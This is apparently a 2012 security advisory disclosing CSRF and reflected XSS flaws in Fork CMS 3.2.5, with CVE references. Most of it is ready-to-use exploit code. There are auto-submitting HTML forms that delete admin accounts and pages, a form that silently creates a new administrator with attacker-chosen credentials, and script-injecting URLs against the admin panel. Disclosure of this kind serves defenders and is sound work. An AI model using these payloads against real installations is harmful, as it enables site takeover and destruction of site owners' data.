Fork CMS 3.2.5 – Multiple Vulnerabilities
+--------------------------------------------------------------------------------------------------------------------------------+ # Exploit Title : ForkCMS 3.2.5 Multiple Vulnerabilities # Date : 21-02-2012 # Author : Ivano Binetti (http://ivanobinetti.com) # Software link : https://github.com/forkcms/forkcms/zipball/3.2.5 # Vendor site : http://www.fork-cms.com/ # Version : 3.2.5 and lower # Tested on : Debian Squeeze (6.0) # Original Advisory : http://ivanobinetti.blogspot.com/2012/02/forkcms-325-csrf-and-xss-0day.html # CVE ID : CVE-2012-1304, CVE-2012-1305, CVE-2012-1306, CVE-2012-1307 # Secunia ID : SA48067 # OSVDB ID : 79444 (http://osvdb.org/show/osvdb/79444) # IBM X-Force ID : 73394 (http://xforce.iss.net/xforce/xfdb/73394) # Other Advisory : http://packetstormsecurity.org/files/110048/ForkCMS-3.2.5-Cross-Site-Request-Forgery-Cross-Site-Scripting.html # Other Advisory : http://www.securelist.com/en/advisories/48067 (SecureList) # Other Advisory : www.1337day.com/exploits/17557 +--------------------------------------------------------------------------------------------------------------------------------+ +------------------------------------------[Multiple Vulnerabilities by Ivano Binetti]-------------------------------------------+ Summary 1)Introduction 2)Vulnerabilities Description 2.1 CSRF 2.1.1 Delete Admins or Users 2.1.2 Delete Web Pages 2.1.3 Privilege Escalation 2.2 XSS (Reflected) 3)Personal observations +--------------------------------------------------------------------------------------------------------------------------------+ 1)Introduction ForkCMS is a cms with an "intuitive and user friendly interface". 2)Vulnerabilities Description ForkCMS 3.2.5 (and lower) suffers from CSRF and XSS (reflected) vulnerabilities. IMB X-Force confirmed that also 3.2.6 version is affected by CSRF vulnerability. 2.1 CSRF ForkCMS 3.2.5 is prone to a CSRF Vulnerability which allows an attacker to delete admins/users, delete web pages and do privilege escalation when an authenticated admin browses a web page containing the following html/javascript code. 2.1.1 Delete Admins or Users <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to delete ADMIN/USER account</H2> <form method="POST" name="form0" action="http://127.0.0.1:80/private/en/users/delete?token=true&id=2"> </form> </body> </html> Note that the first id which is possible to delete is 2 because id 1 - named "Fork CMS"- is a superuser admin created during installation phase (ForkCMS define this user "GOD-user") . IDs's numeration is incremental. 2.1.2 Delete Web Pages <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to delete Web Pages</H2> <form method="POST" name="form0" action="http://<fork_cms_ip>/private/en/pages/delete?token=true&id=405"> </form> </body> </html> NOte that first id is 405 and IDs's numeration is incremental. 2.1.3 Privilege Escalation ForkCMS uses a poor logic to manage sessions. It uses a parameter (called "form_token" and composed by 32 alphanumeric characters) to manage sessions but suppose that you are a normal (not admin) user which sign in into web management interface from the same machine (pc/notebook/server) and same browser of an administrator: ForkCMS will assign the same "form_token" for both so this logic will allow you to use your "form_token" id to create a new admin with the following code: <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to add ADMIN account</H2> <form method="POST" name="form0" action="http://127.0.0.1:80/private/en/users/add?token=true"> <input type="hidden" name="form" value="add"/> <input type="hidden" name="form_token" value="token_number"/> <input type="hidden" name="email" value="root@root.com"/> <input type="hidden" name="password" value="password"/> <input type="hidden" name="confirm_password" value="password"/> <input type="hidden" name="name" value="root"/> <input type="hidden" name="surname" value="root"/> <input type="hidden" name="nickname" value="root"/> <input type="hidden" name="avatar" value=""/> <input type="hidden" name="interface_language" value="en"/> <input type="hidden" name="date_format" value="j F Y"/> <input type="hidden" name="time_format" value="H:i"/> <input type="hidden" name="number_format" value="dot_nothing"/> <input type="hidden" name="csv_split_character" value=";"/> <input type="hidden" name="csv_line_ending" value="\n"/> <input type="hidden" name="active" value="Y"/> <input type="hidden" name="groups[]" value="1"/> </form> </body> </html> NOte that this logic is the same if you are two administrators or two normal users. Also note that with little changes to this exploit you can modify any ForkCMS parameters. 2.2 XSS (Reflected) http://<fork_cms_ip>/private/en/blog/settings?token=true&report=<script>alert("test")</script> http://<fork_cms_ip>/private/en/users/index?token=true&error=<script>alert("test")</script> http://<fork_cms_ip>/private/en/pages/settings?token=true&report=<script>alert("test")</script> 3)Personal observations I think that this is a very nice cms which can become great with some security improvements. |